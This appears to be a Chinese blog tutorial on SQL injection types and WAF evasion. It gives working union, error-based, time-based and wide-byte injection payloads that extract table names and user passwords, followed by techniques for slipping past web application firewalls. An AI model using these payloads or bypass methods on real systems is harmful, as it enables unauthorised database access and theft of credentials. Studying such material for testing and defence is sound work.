sql注入类型、步骤以及绕waf注入

标签: sql注入 绕waf 防火墙规则
38人阅读 评论(0) 收藏 举报

一、SQL注入:SQL注入就是是一种将SQL语句插入或添加到应用(用户)的输入
参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。

最终使用户可控的输入被带入到了数据库中进行执行。

 

 1.1存在SQL注入的地方大致有: 

l   Get

l   Post

l   Cookie

l   http头部

 

 1.2 SQL注入的基本类型

 

l Union联合查询注入

基于报错注入(extractvalue(arg1,arg2)updatexmlfloor

基于布尔类型注入

基于时间的注入 -- sleep(arg1),  benchmark(arg1,arg2)

宽字节注入,二次编码注入 %df%23, %2527)、

 

分类介绍:

1.2.1 Union联合查询注入:需要的条件

    1.union必须由两条或两条以上的SELECT语句组成

2.union中的每个查询必须包含相同的列

3.union会从查询结果集中自动去除了重复行。

4.union注入使用的前提是页面要有显示位。这个也是一个union的缺点或者说是限制。

 

Union联合查询注入大致步骤

1. 判断列数 -- 通过 order by n;

2. 判断显示位 -- id =-1 union select 1,2,3...........

3. 爆库

id=-1'UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3--

?id=-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--

 

4. 爆表

?id=-1' UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),3--

小计:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制也可以直接从数据库查询的语句取出来表的名

 

5. 暴字段

?id=-1' UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),3--

 

6. 暴数据

?id=-1' UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3--

 

1.2.2 报错注入

 1.报错注入就是构造让信息通过错误提示回显出来,

   前提:页面上没有显示位,但是需要执行SQl语句输出错误信息

  1.1通过extractvalue(arg1,arg2)报错

     通过updateXML(arg1,arg2,arg3)报错

     通过floorarg1)报错

  1.2 步骤 :

1. 查询数据库名字

          1’ and extractvalue(1,concat(0x74,(select database()),0x7e#

      2. 查看数据库有哪些表

          1’and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()) limit 0,1),0x7e)#

       3,查看表右哪些列名

           1’and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1),0x7e))#

       4,最后查看数据

           1’ and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#

 

 

 1.2.3 基于布尔类型的注入

页面上不需要显示位,也没有输出错误信息,只能通过页面返回是否正常

 

exists( )函数:
exists 用于检查子查询是否只要会返回一行数据,该子查询实际上并不返回任何数据,而是返回True或False
ascii( )函数:
返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。

查寻步骤同上面的一样,只不过需要获取结果的ascii值。来进行查询字符

1.2.4 时间注入

原理:正确的sql语句和错误的sql语句返回的时间不一样,依此来判断查询结果的正确性,但是要耗费大量时间。

 

Sleep(arg) arg中断的时间,

Select if(1=1,sleep( 5),0),结果页面延迟5秒显示,如果判断错误,则直接显示0,不进行等待5秒,

例如:select first_name,last_name from users where user_id='2' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>150,sleep(3),0);

// 表示当前库的第二个表名的第一个字符的ascii码值大于150,就延迟3秒返回结果,若小于150 ,直接返回结果,不执行sleep()函数;

 

1.2.5宽字节注入 && 二次编码注入

1.宽字节注入主要是编码转换的问题的注入

2.当提交id=1’ and 1=1%23,引号会被转义为1\,显然这是失败的注入,。因为单引号被转义导致没有闭合前面的单引号。但是我们在提交id=1%df’ and 1%23 后,单引号会转义成\’--%5c和前面的%df结合通过gbk编码得到一个汉字,这时后面的单引号会闭合前面的单引号,形成完整的sql查询语句,

 

例如:

http://192.168.31.133/shiyan/kzj.php?id=2%df%27 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1)),0x7e))%23

// 表示的是根据表名,把对应表下面的列字段全部根据错误注入的返回暴出。

 

二次编码:形如id=2%2527, 先把%25编码为%和后面的27结合为%27 ,就是单引号。

 

 

 

 

二、绕过WAF注入

 1.什么是waf

  WAF全称Web Application Firewall,是部署在web服务器前面保护网站应用抵御来自外部和内部的攻击。通俗点讲就是网页服务器的专门保镖

 2.WAF分类

1硬件waf ->服务器 性能更加强大,里面的核心原理还是规则匹配,

 

2云waf -> 百度加速乐,域名解析权限给云。

 

3代码waf -> ModSecurity

 

4软件WAF -> 安全狗

3. waf三个基本步骤: 身份认证 数据包解析 规则匹配

4. Waf的检测主要有三个阶段

1. 首先进行身份验证,白名单的直接给服务器,废白名单的要去进行数据包的解析,

2. 无法解析数据包的将丢弃给服务器处理,正常解析的去进行规则判断。

3. 符合规则的给服务器,不符合规则的将进行拦截。

 

5. 怎么绕过waf

  1.身份认证的绕过

WAF是有一个白名单的,在白名单内的客户请求将不做检测

1.1伪造搜索引擎

早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎便可以绕过,进行sql注入等攻击

1.2伪造白名单特殊目录

1.3直接攻击源站

这个方法的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果能通过一些手段找到原始的服务器地址,便可以绕过.

2.数据包解析的绕过

2.1编码绕过

进行urlencode

2.2修改请求方式绕过

有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。

WAF在这里主要是针对一些特殊的关键词或者用法进行检测。可以用cookie中转注入。

3.规则匹配的绕过

3.1特殊字符替换空格 

3.2特殊字符拼接

把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,

3)注释包含关键字

mysql中,可以利用/*!*/包含关键词进行绕过

 

 

 

查看评论

SQL 注入防御在互联网企业中的实践

SQL 注入是一种流行 且危害极大的 web 攻击手法,长期占据 OWASP TOP10 首位。本课程主要讲解 SQL 注入攻击的原理和技术手法,并讲解在互联网企业中如何有效防御。
  • 2017年02月28日 17:26

SQLmap中的help -hh

        _   ___ ___| |_____ ___ ___  {1.0.9.8#dev}  |_ -| . | |     | .'| . |  |___|_  |_|_|_|_|__,|...
  • Tang12060
  • Tang12060
  • 2018-03-28 14:21:29
  • 8

深入理解SQL注入绕过WAF和过滤机制

知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示...
  • whatday
  • whatday
  • 2017-03-13 09:14:55
  • 2354

绕过WAF的SQL注入语句

0x00前言  现在的网络环境往往是WAF/IPS/IDS保护着Web 服务器等等,这种保护措施往往会过滤挡住我们的SQL注入查询链接,甚至封锁我们的主机IP,所以这个时候,我们就要考虑怎样进行绕过,...
  • qq_29277155
  • qq_29277155
  • 2016-05-03 16:46:56
  • 13322

SQL注入&WAF绕过姿势

# 1.WAF过滤机制: 1.异常检测协议–拒绝不符合HTTP标准的请求; 2.增强的输入验证–代理和服务端的验证而不只是限于客户端验证; 3.白名单&黑名单机制–白名单适用于稳定的Web应用,...
  • qq_31481187
  • qq_31481187
  • 2017-03-02 22:30:09
  • 7138

mysql利用颜表情绕过waf注入

如今连sql注入都开始卖萌了 例子: http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1 我们用普通的方式去尝...
  • niexinming
  • niexinming
  • 2015-10-15 17:01:31
  • 1412

我的WafBypass之道(SQL注入篇)

https://xianzhi.aliyun.com/forum/mobile/read/349.html 先知技术社区独家发表本文,如需要转载,请先联系先知技术社区授权;未经授权请勿转载。   ...
  • wjy397
  • wjy397
  • 2016-11-21 19:57:47
  • 2176

MYSQL-手工SQL注入绕过技巧-实战篇

之前遇到一个站点,经检测存在SQL注入,但是有WAF存在,后来知道是绿盟的WEB应用防火墙。 后来在社区看到了一篇关于《sql注入绕过技巧》的文章后(原文:http://zone.wooyun....
  • eT48_sec
  • eT48_sec
  • 2014-12-24 15:09:28
  • 2977

PHP的两个特性导致waf绕过注入(有趣的知识点)

1、HPP HTTP参数污染 HTTP参数污染指的是,在URL中提交相同键值的两个参数时,服务器端一般会进行一些处理。比如Apache就要以最后一个参数为准,比如: user.php?id=111...
  • u011721501
  • u011721501
  • 2016-07-04 23:20:55
  • 3075

Fuzz安全狗注入绕过

转载自:http://www.cnblogs.com/perl6/p/7076524.html 安全狗版本为: apache 4.0 网站为: php+mysq...
  • nzjdsds
  • nzjdsds
  • 2017-08-18 11:45:36
  • 521
    个人资料
    等级:
    访问量: 0
    积分: 13
    排名: 0
    文章分类
    文章存档